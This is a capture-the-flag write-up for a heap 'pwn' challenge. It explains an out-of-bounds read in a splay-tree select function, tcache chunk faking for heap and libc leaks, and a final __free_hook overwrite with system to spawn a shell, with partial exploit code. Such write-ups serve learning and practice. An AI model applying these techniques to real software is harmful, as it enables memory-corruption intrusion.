Tags: pwn heap tree
Rating:
The bug is a very obvious OOB that exists in the select
function.
unsigned long select(sp *tree, int idx)
{
struct node *e;
e = tree->vector[idx]; // OOB
sp_select(tree, &e->tree_metadata);
return e->y;
}
Basically, the select
function takes the idx'th element from the vector and places it on top of the tree. By faking a node on a tree we can manipulate the entire tree structure.
Each node looks like this:
struct node {
unsigned long x;
unsigned long y;
unsigned long unk1;
unsigned long unk2;
unsigned long idx;
struct tree_metadata {
struct tree_metadata *parent;
struct tree_metadata *lchild;
struct tree_metadata *rchild;
unsigned long size;
} meta;
};
And by using the given features we can get the contents of x and y in the nodes. This can be used for an infoleak. However, in order to fake a node we need to store a pointer pointing to it. I did this by using the freed chunks of tcache
. In each freed chunk of tcache there is a pointer pointing to its prev
chunk. By using this, we can get the x
value of a freed chunk faked to a node, which is a heap address.
for i in range(5):
add(i,i)
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
idx = (0x7fc6681fc370 - 0x7fc6681fb260)//8
select(idx)
HEAP = getnth(0)
log.info("HEAP: 0x%x"%HEAP) # 0x7f68373c72d0
After a long time of thinking, I decided to use a section of memory that has lots of NULLs but also contains some important pointers. It is important that the section has an abundance of NULLs so that the select
function does not attempt to recurse to its parent or children. The ideal memory section that I thought of was the tcache structure, located in the heap base.
void find_and_add(struct sp *tree, unsigned long incr, unsigned long x, unsigned long y)
{
struct node *node = sp_isolate(tree, x, y);
if ( node )
*(_QWORD *)(node - 0x18) += a2;
}
By using this functionality, we can get a write primitive. By overwriting the tcache head to a pointer we can get a node allocated at an unsorted bin, and when we get the x
value of it we get a libc address.
Afterwards everything is easy, we can use the primitives discussed to get arbitrary write, overwriting __free__hook
with system
and calling free("/bin/sh")